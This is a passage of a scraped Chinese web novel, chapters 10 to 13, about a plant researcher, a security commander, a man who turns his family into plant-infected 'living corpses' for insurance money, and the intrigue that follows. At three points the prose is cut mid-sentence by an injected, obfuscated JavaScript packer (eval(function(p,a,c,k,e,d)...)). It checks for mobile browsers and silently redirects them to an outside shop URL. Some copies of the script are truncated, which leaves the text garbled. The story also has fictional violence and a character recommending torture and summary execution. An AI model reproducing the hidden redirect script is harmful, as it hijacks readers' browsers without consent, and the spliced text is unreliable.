唐奂就座,无处安放的眼神扫向屏幕。 投屏上没有什么变异植物,只有一个黑眼圈厚重,身形干枯的中年男人。 负责报告的一个瘦子警官:“报案人叫张全。据他所说,他的父母、妻子和三个女儿都是在一周前失踪的。我们调取了监控,也走访了小区,没有人在失踪前看到过他们。” “而这个张全,也不是普通的老百姓。”老练些的胖子警官用激光笔切换屏幕,补充道,“就在上个月,我们还接到过线人的消息,说张全经常出入酒吧和商K。有人看到他出手阔绰,下了巨大的赌注。” 一个特战队长问:“失踪的那几个人,身上有保险吗。” “是的。”胖子警官点头,“今天上午张全还在询问保险公司,如果这6个人都死了,他能拿多少钱。” “那个……” 林今怯生生举手,听到这里,他的脑子彻底浆糊,一秒也不想待,因为感觉随时要被一枪崩了。而刚才的对话也给了他绝佳的理由:“我们是做植物基因的,您这、这……好像是,刑事案件吧?” 说着林今就想拉唐奂走。 “是刑事案件,不过,”黎准话锋一转,“你还记得第七生态圈发现的尸体吗?” 话是对唐奂说的。 唐奂的视线从屏幕移动到黎准脸上,看来还有隐情。 “有一个至今没有公开的情报。”黎准说,“那几个疑似感染植物病毒死去的旅客,是隔壁冀川市来的。但他们来潼港不是旅游,警方还原了他们手机里的数据,每个人,都有这个张全的联系方式。” 唐奂神情一肃。 怪不得方才警官的话里提到线人,原来是早就盯上了。 “另外。” 咔哒,一个密封的玻璃小瓶放在桌上。 里面的东西用过了,几乎是空的,只在内壁浮着薄薄的白粉。 “我们在张全的家里发现了这个。”黎准说着,看向唐奂,“警方的人当场就把张全扣下了。” 林今:“抓住了?” 黎准:“不过接下来的事就不在我们的预料之中了。” 唐奂第一反应是张全还是个瘾君子。 但他也知道,答案不会这么平常,于是问:“成分查出来了吗?” “查出来了一部分。” 林今:“?” 黎准把小瓶转了半圈,说出了一个几乎不会有人猜到的答案:“这是光合细菌。” …… 张全没有被扣押。 玻璃瓶里的东西不涉及任何违禁品,线人提供的证据也在核实,被关了几天的张全大摇大摆出了看守所。 张全很有反侦察能力,出去了就老老实实的,再也没有离开过家门。 保险公司规定,被保人失踪满两年才会启动理赔。 黎准说,张全要赚快钱就肯定等不了,如果失踪的6口人死了,尸体应该很快就要“出现”了。 就像第七生态圈的那几个旅客一样。 唐奂带走了那个小瓶,对剩余的粉末重新做了质谱分析。 光合细菌有独特的色素,很容易观察,但还有一种未知成分,可能是浓度不够或者氧化了,唐奂又分析了光谱。 夜色落幕,唐奂坐上从研究所回家的地铁,打开电脑开始编辑邮件: 【光谱的结果显示,另一种成分与已有的数据库不匹配,但它和马来西亚半岛、南洋群岛等热带亚热带地区才有的“变色木”的基因有相似之处】 发完邮件,呼啸的地铁正好冲出隧道,唐奂看向窗外的照明灯,陷入了沉思。 可是,这和那6口人失踪有什么关系。 叮。 邮件回复来了。 【黎准:好,我知道了】 十几秒后。 叮。 【黎准:早点休息】 —— 养了那颗眼球后,唐奂还是头一次回家这么晚。他关门回身脱外套,眼球像只小狗似的在他一眼就能看到的洗衣机上打瞌睡。 它睡觉的样子很有趣,客厅的光一亮,它背过身遮住瞳孔,留下一个白眼给他。 “困了?” 眼球上布满红血丝,但它还是原地旋转了一圈。 不困。 “还撑着呢。”唐奂说话间抱它去客厅沙发,拧开一瓶眼药水给它滴上,轻轻按压它的眼白,“过两天我把你带回研究室吧。” 营养液,还有昼夜花的组织,都是更适合它生活的地方。 研究所那边有了黎准的警告,明面上所长没再为难过他,订购的营养舱也快到了。 闻言眼球挪动,把那双琥珀色的瞳孔对准了他。 “怎么了。” 对视间唐奂忽然意识到了什么。 唐奂打开电脑,给眼球看第七生态圈的尸体照片,试探道:“你有没有见过,这样死亡的人?” 眼球顶着电脑屏的光看了一遍,微微晃动。 唐奂:“你知道?” 叮! 【系统提示:您的后台有更新哦】 旅行男友弹出了窗口。 唐奂看了它一眼,打开游戏后台,那里多了一个对话框,没有输入用的窗口,但他给眼球看的照片,已经传了进去。 “这是?” 眼球没有回答,跳下来去卧室了。 唐奂那夜毫无睡意,侧枕着手臂,充着电的手机在桌上。 凌晨5点。 手机忽然亮了。 叮! 【你的男友给你发送了一张照片哦,点击看看他去了什么地方吧?】 唐奂摸过打开一看,登时蹙眉。 “果然……” 他指尖一扫关了app,直接拨通了一个号码。 …… 电话的铃声在指挥所空旷的大厅骤然响起,熬夜等换班的特战队员一看内线号码,一个激灵接起来,“指挥官?” 听筒里传来黎准不容置疑的命令:“包围张全所在的公寓,紧急遣散附近所有住户!” 沉淀了一夜的冷空气未散,街上只有零星早出的人,数辆无标识的黑色改装车开过街道,一路扬长而去。 其中一辆车上,唐奂落座后排,旁边放着密封箱。 “你有把握吗?” 副驾驶传来黎准的询问声,司机一丝不苟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好好的人凭空蒸发在任何地区都不稀奇。”唐奂面色平静,“全球范围内的自然性别比约为1比1,我们潼港隔壁的冀川市第五次人口普查,30岁男女比例为4比3……也就是说,30年前的冀川市凭空消失过38.5万人口,没有人知道她们的下落。” “而张先生您很幸运,除了您,还有警方和生物安全署的人也在惦记您亲人的安危。” “……” 张全咽了咽口水,心忖这是遇到什么神仙了。 “可以接受我的询问了吗。”唐奂说,“不会耽误您多少时间。” 张全仍然不愿意配合,抱起手臂皱眉:“不是问过很多遍了吗?你去找那个姓李还是姓赵的警官问去吧!” “是这样的,张先生。”唐奂镜片反光,“我是潼港植物研究所的研究员,和警察先生们问的问题可能不太一样。” 听到植物两个字,张全的脸上终于出现了异样。 第一反应是检查屋里的门窗,张全挨个探头看了一遍,确定了没有危险,拎了把裤子一屁股坐回沙发,“行,我配合。” 说完,他看着唐奂龇牙笑了笑,“您这么好看,又是知识分子,我一定配合。不过您可以要说我能听懂的话,我这初中都没毕业呢。” 唐奂微笑:“您放心,我很会‘向下兼容’,接下来我要说的话,小学生也能听懂。” 说着他拿起照片,是那个浮着一层白粉的玻璃瓶。 11. 第 11 章 —— 唐奂给张全看这张照片,光是让黎准同意就花了些工夫。 小瓶是调查人员偶然拿到的,几乎能确定是关键物证,贸然拿出来,很可能会激怒张全。 张全看到那个瓶子果然表情一僵,想遮掩也没成功,嘴角抽搐着问:“这是?” “您知道光合作用吗?”唐奂不以为意,薄唇轻启:“简单来说,光合细菌能通过光合作用,将光能转化为化学能,并给植物提供能量。” “等、等等。”张全烦躁地抓头发。 唐奂:“怎么。” “你这也不是小学生能听懂的吧?” 唐奂充耳不闻:“说到光合细菌,比如,它给一种能制造幻觉的变色木类异形植物——提供能量。” 张全完全不知道唐奂在说什么,唐奂也看出来了,这一次,他举起手机,旅行男友后台赫然有一张照片:“认识吗?” 正是这张照片,张全的屁股再也坐不住沙发了,蹭的站起,哆嗦着问:“你……” 照片的背景似乎是个禁闭室,外面的植物遮天蔽日,一个看守模样的人痛苦地捂着头顶,指缝间冒出了密密麻麻的藤叶。 一看到那淡蓝色的藤叶,张全彻底懵了。 咔!唐奂打开密封箱,张全看到了无比恐怖的一幕,一颗手掌大小的琥珀色眼球骤然一转,瞄准了他。 卧槽! 张全惊得自己的眼珠子一抽,下一刻头皮传来了成千上万只蚂蚁啃咬的疼痛,他痛叫一声捂住头。 眼球瞳孔发射光芒。 “不、不可能……怎么会在这种时候?!” 张全按不住蠕虫般顶撞头皮的东西,流动着淡蓝色血液的枝条一根两根穿透出来。 “该死,该死的!” 张全用力敲着头,一看脚下,失声叫了出来。 房间里不知何时已变了样,墙上、地板上、到处都是干了的狰狞血迹。 躺在地上的,是外形像腐烂植株的六具大小不一的人形。 ——失踪的六口人找到了。 说是尸体,用活尸形容更贴切,因为它们还在轻微抖动,但全身只是长长的条状,宛如化了茧的虫子,皮肤薄如蝉翼,却看不出五官和四肢,只有内脏在绿色液体里面滚动,似乎只要一点外力就会爆炸。 “杀人骗保才多少钱。”唐奂强压住胃里的一阵汹涌,“这种植物能致幻,你多年出入赌场,只要稍微动动脑子把它用在赌桌上……” “??” 话都不用说完,张全浑身僵硬,显然是把唐奂的话听进去了。 继而张全一脸的哭笑不得,五官扭曲:“让开!” 张全已全然不顾唐奂在场,冲到茶几下面掏出一个盒子,里面有一排八个和玻璃瓶一样的瓶子,五个见底了,一个没了,还有两个装着满满的白色粉末。 “为什么……为什么控制不住……药量不够了……?” 数秒不过,张全的十根手指化作藤蔓,只能趴在地上强行咬掉瓶塞,满嘴是血地吸着那个瓶子。 进这个门之前,唐奂做好了心理准备,也没想到会是这样的发展。 “是你,都是因为你……” 白色粉末没有发挥出张全期待的效果,他急红了眼,眼底倒映出赤裸裸的杀意,猛地向唐奂扑去—— 眼球瞳孔上移20度,瞄准张全的头顶,光芒迸射! 唐奂拉起外套侧身遮住脸。 一声剧烈的惨叫,屋里长出了什么遮天蔽日的东西,他再看去,眼底一震。 扭曲的藤蔓觉醒了某种更深层的本能,张全在这般巨物面前不过是海浪中的一叶舟,细长的枝条疯狂生长,张全很快像一只倒立的章鱼般头朝下栽在了地上。 藤蔓撕裂天花板,墙壁上裂痕蔓延,地板被斜走而上的根须撑起,蠕动的巨型植物长着类似嘴巴的口器,獠牙龇出—— 砰!客厅大门猛然撞开,埋伏已久的特战队员一拥而入。 可一看到眼前的景象,好几个人身经百战的队员当场怔住,周副手惊呼出声。 “小心!”黎准一连越过数人,把唐奂拉到身后,举起火.枪.筒扣下了扳机。 蛇吐信子的声音传来,枪筒里喷出的不是火,而是高浓度的二氧化碳和脱水剂。 ——被迎头喷了一通的变异植物陡然僵直。 坚韧有力的枝条渗出淡蓝色的液体,须臾,又软得像泡烂了似的倒塌下来,砸在地上直接就碎了。 张全捂着头站了起来,看着满屋子的人,猩红的眼死死瞪着唐奂,不顾一切抢过身:“你……我要杀了你!!” 黎准手里的枪咔嚓上膛。 砰——! 张全瞳孔骤然紧缩。 子弹射穿颅骨,当场断气的躯体轰然倒在了地上。 …… 失踪的6个人全都找到,后勤队抬起他们,连同没了气的张全一起运下了楼。黎准命令剩下的人搜房,唐奂捡起了地上的盒子。 整齐排列的玻璃瓶下方塞着一张说明书模样的东西。 唐奂抽出那张纸。 上面写着: 【蜃影藤(MirageVine),Lv.2,光合细菌&变色龙藤化合物。稀有程度:随处可见(原产于浮沙沼)。外观:半透明蔓藤,在阳光下会产生轻微波动,似空气扭曲。共生部位:头皮、颈部。功能:在周围制造小范围“折射迷雾”,让靠近的人看到虚假的影像。备注:融合前需去除根部,否则会导致宿主精神错乱】 “唐博士。” 唐奂一怔,一只手从身后越过他的肩膀抽走了说明书,黎准说:“我们谈谈吧。” “什么。”唐奂问。 黎准没有回答,把他掰正,两手来到他的颈侧,从他外衣的领口内侧拿出了一个纽扣状的微型摄像头。 “抱歉,这不是我的本意。”黎准说。 眼球在唐奂怀里眯起。 出乎黎准的意料,唐奂也只回了两个字:“理解。” —— 生洲。 禁闭室的走廊里,看守们来回踱步,所有人脸上都写着惊恐和不安。 赫迪安对于莫名其妙死了一个看守没多少耐心,草草让人给埋了。 可一想起那人的死状,同为看守的其他人慌得不行。 有人神秘兮兮说:“乌尔死前说自己梦见过站在一片陌生的森林里,四周的树木都在朝他靠近。枝叶上长满了无数金色眼睛的蛇,都在盯着它看!” “啊?中邪了?” 一瞬间,沉默笼罩了所有人。 有人忍不住倒吸一口凉气,脊背发凉。 禁闭室内,陆池修慵懒仰着头,唇角勾起兴味盎然的笑。 守卫们的讨论他听得清楚,仍像个漠不关心的旁观者,笑意中甚至带着点玩味。 “什么中邪,竟说些怪力乱神的鬼话。” 走廊脚步声响起,门外的男人嗓音略低,没什么情绪。 “修恩先生。”几个看守围过去,“您说会不会是这山里有什么奇怪的东西?” 陆池修后脑深处的发丝间悄然露出一朵墨色的花,它听到动静,迅速收起深渊状的嘴,很快消失不见了。 陆池修偏过头,隔着铁栏,修恩正在看他。 “最近湿气重,山里长了些随处可见的蜃影藤,我已经让人去拔除了。这东西沾多了能致幻,乌尔只能自认倒霉。” 修恩凑近铁栏,一缕光扫过眼睑蜿蜒的伤疤,蒙了层灰般的眼看陆池修:“多事之秋,你们也小心点吧。” —— 潼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111655|195873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 港辖区指挥厅。 整栋楼房间都亮着,远远看上去在漆黑的夜色中灯火通明。 张全的公寓彻底封锁,居民的转移安置还在进行。现场的后勤队联合警方搜索了三个小时,没再找到其他可疑物品。安控队接收了尚有生命体征的六具活尸,同时拿走的,还有张全的手机、药盒,旁边是唐奂的密封箱。 “你有病吧?谁让你这么干的!他人呢?” 堂堂辖区指挥所,站了两排的安控队都听到了男人恶言相向,可他们不敢制止。倒不是这个男人有什么来头,而是男人旁边的女人,任静。 “那怎么了。”任静不以为意,“要不是我找人查他,‘那东西’他指不定还要藏多久呢。” 贺淮:“你够了!” 任静正要说什么,迎面一个熟悉的身影大步走来,她眯起眼,拉着贺淮往前冲:“喂,黎准,那个姓唐的——” “指挥官。” 一路上辖区安控队员行礼,周副手礼貌挡开任静:“请让一让。” 任静:“喂!” 黎准迈开脚步,一阵风似的穿过了走廊。 “指挥官,请进。” 守卫打开办公室的门。 嘭!门关上了。 …… 办公室里,背手望向窗外苍穹的中年男人稍一回头,黎准对着那个背影:“任区长,你找我。” “你来了。” 任怀安一顿,大方回过身。 那是一张乍一看并不威严,反而十分和蔼的脸,眉骨平缓,皮肤因风吹日晒落下了干燥暗淡的毛病,鬓角也已微微泛白。 任怀安早年是个商人,投资过新型医疗,后来在总部以委任官的身份被派往各个辖区负责协助当地的行动部署。 42岁的时候,任怀安正式升任潼港辖区长,到现在已经过去十二年了。 “我知道你不愿意这么做。”任怀安缓声说,“可是,如果不安装窃听设备,那个叫唐奂的研究员也不会对我们交底。” 任怀安的手掌按住密封箱:“这里面的东西,是一个研究员可以私藏的吗。” 黎准由安全署直接委任,和任怀安不是一个系统,算不得直属上下级。按照以往总部规定,指挥官到了辖区,有义务协调和辖区的关系。 不过黎准这次的任务特殊,涉及到了异变植物,直到唐奂要求去见张全,两人都算井水不犯河水。 而任怀安此人虽然身在辖区,总部的人脉也盘根错节。 正因如此,任何一个总部过来的临时指挥官,哪怕位至上层,也不愿意得罪任怀安。 一旦有了冲突,上面的那些人会先拖十几二十天,再发一封安慰信提示关系要处好,最后和稀泥完事。 “但你也答应过我。”黎准说,“不管发现什么,都不会怪罪他。” “那你有没有替他想想?”任怀安看着冥顽不灵的年轻指挥官,安抚道:“我看唐博士才进研究所,他读博期间学术做得不错,资历却很浅,又搞不好人际关系。再这样下去,以后在研究所能不能顺利晋升也不好说。” 黎准:“有话直说。” 任怀安也不生气,反倒十分友善:“不如这样,你去替我向唐博士转达,只要他就此收手,我保证他一年之内升任副教授。” “……果然。” 办公室的壁灯照在任怀安苍老的脸上,听到黎准的喃喃,任怀安眉毛动了动,“怎么。” “果然和唐奂说的一样。”黎准轻轻一耸肩,笑道:“他知道你会这么说,让我转告你、他不答应。” 冰冷的灯光恍惚了一下,任怀安脸上扫过暗淡的阴影,缓缓道:“既然他已经想好了,那我们就开诚布公地谈谈吧。” “他在等你。”黎准指向旁边的房间,“人就在隔壁。” 12. 第 12 章 …… 咚咚,周副手适时敲响门:“区长,唐博士来了。” “进来。” 任怀安看了眼黎准,才向门外看去。 唐奂礼貌躬身:“任区长。” 任怀安一眼望去,唐奂身高有一米八多一点,放在普通人里算高的了,混在一群特战队员里,瘦削的身形反衬得像薄薄一层纸。唐奂的那张脸很符合研究者在世人心中的样子,皮肤很白,到了晚上,看上去还有透明感。 可唐奂一开口,就打破了任怀安眼中文弱书生的形象。 唐奂镜片后的眼眸沉静冷淡:“您做的一切,我作为潼港土生土长的本地人,十分理解。” 任怀安按在办公桌上的手没有放松,听惯了场面话,他知道这只是个开始。 “但是,请把它还给我。”唐奂说,“我可以向您保证,没有了我,它在您的手里也只是一个废品。” 周副手掩嘴:“咳咳。” 这话听得黎准心中都是一惊。 说是商量,已经有点威胁的意思了。黎准没想到,唐奂竟不打算留一点余地。 任怀安眉头微皱,与他对峙的唐奂乌黑的眼神像刀子一般。 砰!似是在响应那话,办公桌上的密封箱被猛然撞开了盖子。 三人同时看去,那颗琥珀色的眼球像降临的异形,它比之前膨胀了不少,一道金色的光从任怀安耳边掠过,照向门口的剑兰。 剑兰那剑叶状的叶子爆开,变大了四五倍。 任怀安没有被完全震慑,但惊愕已隐藏不住,用审视的目光打量起唐奂。 哐当,办公室的门被撞开,是外面的守卫听到动静冲进来了。 “保护辖区长!” 他们都带着枪,一进门就指向唐奂。 “既然如此,唐博士——” 咔! 任怀安刚一开口,太阳穴边忽然一凉,话卡在喉咙的他谨慎侧过脸,黎准脸色冰冷,枪.口正笔直地瞄准他:“任区长,你忘记了对我的承诺。” 任怀安喝道:“黎准!” “别动!”黎准压低声音,声线依旧威慑力十足,“你应该很清楚总部为什么派我来潼港,华区的12个下属辖区只有潼港出事,你以为总部还信任你吗?” 为首的卫队长:“任区长!” 紧绷到窒息的气氛持续了数秒,任怀安一抬手示意卫队:“你们先出去吧。” 卫队退出房间,门再次关上,任怀安始终没动。 “我看这样吧。”黎准收了枪,“让唐奂到我那边去,我会监督他,必要的时候您也可以派人过来看看。” 这其实是最折中的提议。 唐奂眯起眼,预感告诉他任怀安不会轻易松口。包括被枪指住的那一刻,任怀安其实都没有真的慌乱。妥协,更像是卖黎准一个面子。 这次,唐奂罕见地失算了。 “好,我同意。” 一声淡漠的应允之后,任怀安的笑意一闪而过,看向他:“唐博士,我很欣赏你的果断。辖区的安全我不能让步,不过黎指挥官的提议确实不错。” 黎准问唐奂:“怎么样?” 唐奂确认好眼球在密封箱中,合上盖子,期间他一直在思考,却找不到任何证据来佐证他下意识的违和感,于是点了点头。 “走。” 黎准一声令下,周副手使了个眼色,四名保镖特战队员护着唐奂一路离开了办公室。 …… 潼港植物研究所。 唐奂如约把眼球带回了实验室。 林今一大早接好线路,唐奂把密封箱里的眼球放进培养舱。 “唐哥,黎指挥官是条很粗的大腿啊。”林今两手托腮,面条泪哭泣,“以后升任哪个区的辖区长也很有可能啊!你要是发达了可不要忘了我啊!” “……” 这个舱室有80厘米高,按照唐奂的要求,底部还放了昼夜花的活性组织。 林今:“唐哥?” “它的情况不太对劲。” 唐奂靠近玻璃,眼球进了水就自然下落,缓缓沉到了舱底。此刻它正背对着,白色的巩膜暴露在外,倒在组织堆里像条等死的鱼。 林今暗叫不妙:“难道是任区长做了什么?” 唐奂又敲了敲玻璃,眼球颤动一下,仍旧保持着瞳孔埋在里面的样子。 许久,它费力地转了一圈。 “看来不是。”唐奂喃喃。 “怎么办?” 林今话音一出,唐奂忽然想到了什么,大步走到一个隔间,摸出了手机。 “……陆池修。”唐奂紧盯着旅行男友的后台,之前传输的照片也消失了,那里的“男友”还是一个三维的模型,好似真的只是一个虚拟形象,“怎么才能联系到你,我有事要问你。” 没有回应。 唐奂沉了口气,正要退出,看到了一条消息。 【系统提示:你的男友发回了一张照片哦,快打开看看吧~!】 发送时间显示是昨天。 唐奂诧异,点开一看,指尖在视线捕捉到图片的刹那就停止了动作,“这……” 不是美丽的风景,也没有虚拟男友性感的颈线。 照片中,虚拟男友拍下了一个人。 那是一个瘦削的男人,约莫三十出头,正站在一扇门外透过铁栅栏看过来,墙壁被湿气侵蚀,男人左眼睑下方有一道明显的疤痕,从颧骨延伸到耳旁,皮肤白得透光。 “这个人是……” 唐奂眯起眼,觉得男人很眼熟。 可一时间怎么也想不来。 “林今!”唐奂回到研究室,林今正在哼歌清洗烧杯,弄得满手泡沫,他径直走过去:“你看一眼,你认识这个人吗?” 林今抽空看了一眼:“哎?唐哥你哪儿来的照片?他不是跑路了吗?” “你认识?” “我艹,那可太认识了,他烧成灰我都认识!” 林今三下五除二冲完泡沫擦干手,在唐奂的书架里准确抽出一本两年前出版的杂志,翻到最后一页,指着访谈栏的一张照片,“你看,这不是他吗?唐哥,你来之前我就是给这货当助手啊!你这个研究室就是他的呢!” 唐奂一看还真是这个人,只不过那还是张没有伤疤的俊脸。 接着他看向被访谈者的名字。 沈述。 那一刻唐奂一声暗叹,他无论如何都不该忘了这个名字。他之所以应聘到研究所,就是因为上一个在这个位置的人,也就是这个沈述、神秘失踪了。 “所以说唐哥,他们都说你不合群,我是真的从来没觉得,他们是没见过‘真’不合群的人。” 林今仿佛打开了话匣子,化身喷火龙:“是,我承认他业绩斐然,能力超群,履历爆炸,但他真不是个东西,我进研究室三个月他都没记住我叫啥,项目不带我,一年投十几篇论文都想不起来给我一个二作!唐哥你就不一样,你起码……唐哥?唐哥你去哪儿?” …… 图书室,一楼资料室。 “沈述的论文吗?” 女管理员打开所内的搜索引擎,开始输入名字。 唐奂不健忘,只是记不住人的脸和名字。 其实沈述这个人他早就知道,因为彼此的研究方向还算有关系,他做的是变异方向,而沈述的研究在扦插、嫁接等方向很有建树。 打印机嗡嗡响起,女管理员拿出打印好的表格,上面有沈述的著书和论文集的编号,“大部分都在地下库,我带你去吧。” 唐奂:“好。” “啊对了。”女管理员拿了钥匙,“论文集不外借,你要是打印的话,先在这里签个名字吧。” 一个专门记录借阅者的本子递来,唐奂刚接过笔,忽然看到有人借过沈述的作品,登记了满满两页,最近一次是三天前。 再一看,署名栏竟然写着贺淮的名字。 “写这里就可以。”女管理员见他不动,指了一下。 少顷,唐奂合上笔帽,叫住了她:“抱歉。今天先算了,我还有几本书没还,这些一时半会也没空读,改天吧。” “啊,”已经穿好外套的管理员愣了一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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贺淮呛声:“那个昼夜花,不是净化会一直在找的?修恩凭什么不上报?他是在针对我!” “——那不可能!”所长当场反驳,“修恩现在是赫尔曼执行官最信任的人,他有什么必要针对你?” “什么修恩!不就是您亲手交给净化会的沈述吗?”贺淮冷眼看着软弱的所长,“您的好学生在那边混得不错,连代号都有了,您很得意吧?” “你疯了吗?连我都咬!” 所长被戳了肺管子,这下真不乐意了,拉着贺淮到电脑前,一通噼里啪啦打字,然后指着屏幕上沈述的官方界面使劲敲:“你看看,沈述没大你几岁,业绩甩你30条街,你跟我说他针对你,你配吗?” 空气又安静了一瞬。 贺淮这人虽说桀骜不驯,但也不至于真让情绪冲了脑子,他满脸阴云,平复了好半天,终于心平气静道:“好,就按你说的,如果沈述没针对我,那这事,麻烦可就更大了。沈述在阻止重要的消息到净化会,这个人有问题!” “这……”所长的呼吸顿了一下,后脑勺直接凉了。 事情真的不妙了。 “不行,我得想办法,我要去找任怀安,这事我必须得告到赫尔曼执行官那里!” 贺淮一通扬言,大步向外走。 “等等,你先别着急。”所长把人扯住,用一块手绢擦汗,“你这个人,你真是初生牛犊不怕虎,万一冤枉了修恩,以后我们在净化会就不好混了。” “混,混了一辈子,你就知道混!” 话音未落贺淮忽然看向门外。 所长办公室的门是关着的,旁边的玻璃窗投射出了一个影子。 “谁在外面?” 贺淮一把拉开门,目光冷冽地向外看去。 走廊空旷,飘过了一阵小风,一眼看去半个人影都没有。 “奇怪。” 贺淮还在向外看。 “好了,你就别疑神疑鬼了。”所长死命把人拉回来,紧紧抓着:“这几天我们让黎准盯上了,净化会的任务还没安排好,这时候上赶着找他们,不是找死吗?” 叮。 与此同时,电梯下到了一层。 唐奂快步走出,给黎准发了条消息:【我有话想对你说】 叮。 回复很快到了。 【黎准:正好,我也有话想对你说】 13. 第 13 章 …… 晚上下了一场匆忙的小雨。 夜色之下,潮湿的街道投下了霓虹灯斑驳的光影。 铃铃。 唐奂推开酒吧厚重的木门。 研究所人际关系淡薄,少有聚会。博士毕业后,他还是第一次来酒吧。 吧台洒满昏黄的灯光,唐奂一进去就闻到了空气中弥漫的酒香和雪茄味,低声交谈的嗡嗡声混在爵士乐里。 “听说了吗?上次那个家伙,把钱卷了跑了。” “别提了,我刚在他手里输了一千!” 唐奂从研究所过来,看到约定地点是这家叫“第七夜”的酒吧,已经来不及换衣服了。 酒吧不乏买醉的客人,什么年龄段的都有。灯光下,最扎眼的却是一眼望去的白花花大腿。 唐奂刚进门的时候脚步还顿了一下,吧台两边的人都看过来。 空气静止三秒,勾着客人脖子的“公主”抛来个媚眼。 “这边。” 静默中传来黎准的声音。 黎准今晚穿得轻便,衬衫搭配修身长裤,外面套了件简约的黑色皮夹克。 调酒师手指在瓶口间游走,衬衫马甲修身得体,金色的酒液顺着冰块流淌,发出清脆的碰撞声。接着手腕一转,银勺在杯中搅动,又取过橙皮放在杯口,推到黎准面前,“请慢用。” 见唐奂来了,调酒师余光看了一眼,笑着给唐奂递上酒水单:“您喝点什么?” “……”唐奂拉开高脚椅坐下,心思全然不在吃喝上,他也没想到黎准会选这样人多眼杂的地方。 “就这个吧。”他说。 酒吧闪烁的灯光不时扫过唐奂清秀的眉骨,黎准想起唐奂面对任怀安时的果决,再看唐奂点酒时略显局促,笑而不语。 “柑橘威士忌,不加酒精是吗?”调酒师确认完,笑着对黎准说,“看来您的这位朋友平时不怎么去酒吧。” 唐奂:“?” “他叫许清言,是这里的老板。”黎准稍微一停顿,压低声音,“也是我们的自己人。” 许清言笑着端走了吧台上的几个碟子,去了后厨。 唐奂脱下外套叠好,又把伞交给了一个店员。 “张全挣到了钱就吃喝嫖赌,一夜挥霍一空,他接触到的人,也多半都是酒吧的常客。 闻言唐奂看着黎准:“……” 黎准拿起酒杯轻晃了一下,笑着说:“就是这里。” “怪不得。”唐奂看向后台,“那这位许老板,就是李警官口中的线人吧。” “不错。” 见唐奂有伴,酒吧陌生的视线少了许多,零星几个还在往这边看。 唐奂隐隐感觉到今天不同寻常:“你是要聊张全的事?” “是,也不是。”黎准看他。 唐奂眉间微动。 “还记得那个白色粉末吗,”黎准放下杯子,“我们怀疑那东西是有人给张全的,正好,这里的公主拍到了张全见过的人。” 唐奂:“公主?” 黎准咳嗽了一声:“呃。” “就是陪客人喝酒的女孩子。”一杯琥珀色威士忌推到唐奂面前,许清言适时接过了话,眼底的泪痣被灯光照得清丽,笑着说:“偶尔被客人揩油是避免不了,但我们绝对遵纪守法。” 唐奂:“……” 街上的多家酒吧张全都光顾过,他是个好色之徒,一个待久了就会换家。 为了保持客人的新鲜感,有些酒吧会让公主们在长街互相串台,过一段时间就换一批新鲜血液。不过论全方位的体验,张全还是喜欢这里。 公主们接力似的拍下了张全在包厢见过的23个人。 周副手排查了一遍底细,大都是流窜在街头的混混,有身份的只有5个。 “其中一个人让我有点在意。”黎准递来一张模糊的照片。 唐奂正要接,嗡……手机震动响了。 “不好意思。” 最近要办任怀安指定的交接手续,过程比唐奂想象的繁琐,辖区的安全情报部门提醒过随时等待邮件。 “还顺利吗?” “三天后交接。”唐奂说着,接过了黎准手中的照片。 他一眼就认出了照片上的人,贺淮。 照片里的贺淮不似在研究所穿得板正,但唐奂和他曾是同窗,很容易就能辨认。 唐奂放下照片,目光与黎准相接。 “还有这些。” 黎准递过来新的照片。 唐奂放下手机去接,新照片是好几个不同的角度,他更加确信了。 黎准:“你好像不是很意外?” “不,我只是不意外张全背后有人,”唐奂把照片倒扣在桌上,推还给黎准,“东西不是他的,他连光合作用都听不懂。” “我看过贺淮的履历,他和你好像都是承大的植物分子遗传基因学方向毕业的吧。”黎准把空杯子递回吧台,“周副手还找到了你们同期的博士,听说了一些……你们的私事。” 黎准的语气十分随意,许是酒吧气氛的缘故,黎准没有半点架子,比平时松弛很多。 唐奂:“你想让我做什么。” “如果你还念旧的话……当然,我说的是同窗情分,”黎准漆黑的眸子看他,脸凑得很近,每一秒钟都在审视他的表情,口吻充满试探:“我可以给他一个自首的机会,前提是、他愿意配合。” “你打消这个念头吧。” 唐奂撇开脸,语气中没有一丝犹豫,“念不念旧倒是其次,我很了解他,他是一个嘴巴相当硬的人,就算你把铁证甩在他脸上,他都能脸不红心不跳地狡辩。” 说到这,唐奂停顿一下,补充道:“最好的办法就是突击抓人,什么也不用问,抓到就严刑拷打,撑不住了他自然会说。要是不说,就立刻处死,免得夜长梦多。” 唐奂说这话时眉眼锐利,刚进酒吧的局促已然不见踪影。 黎准转着一支方形的银质打火机打量他,忽然一笑:“好歹也是交往过一年的人,你的心可够狠的。” 唰,火苗点燃。 黎准一松手,啪,它又熄灭了。 面前的威士忌,唐奂终于喝了第一口,喝完淡漠道:“你找我聊他,是希望我能给出最好的解决办法,不是想听我们曾经如何相爱吧?” 黎准眯着眼看他,“说说也无妨。” “还有。”唐奂客气说,“关于我的性取向,请您保密。” 他希望这个话题可以到此为止了。 为了岔开话题,唐奂重新拿回照片,“对了,你们是——” “——所以,”黎准没接话,手指轻弹了一下照片边缘,“你还喜欢他吗?” 唐奂深深地吐了一口气:“长官,这好像不是您应该——” 嗡…… 屏幕亮起,桌上的手机在震动声中移动了一下。 虚拟男友头像的app窗口弹了出来。 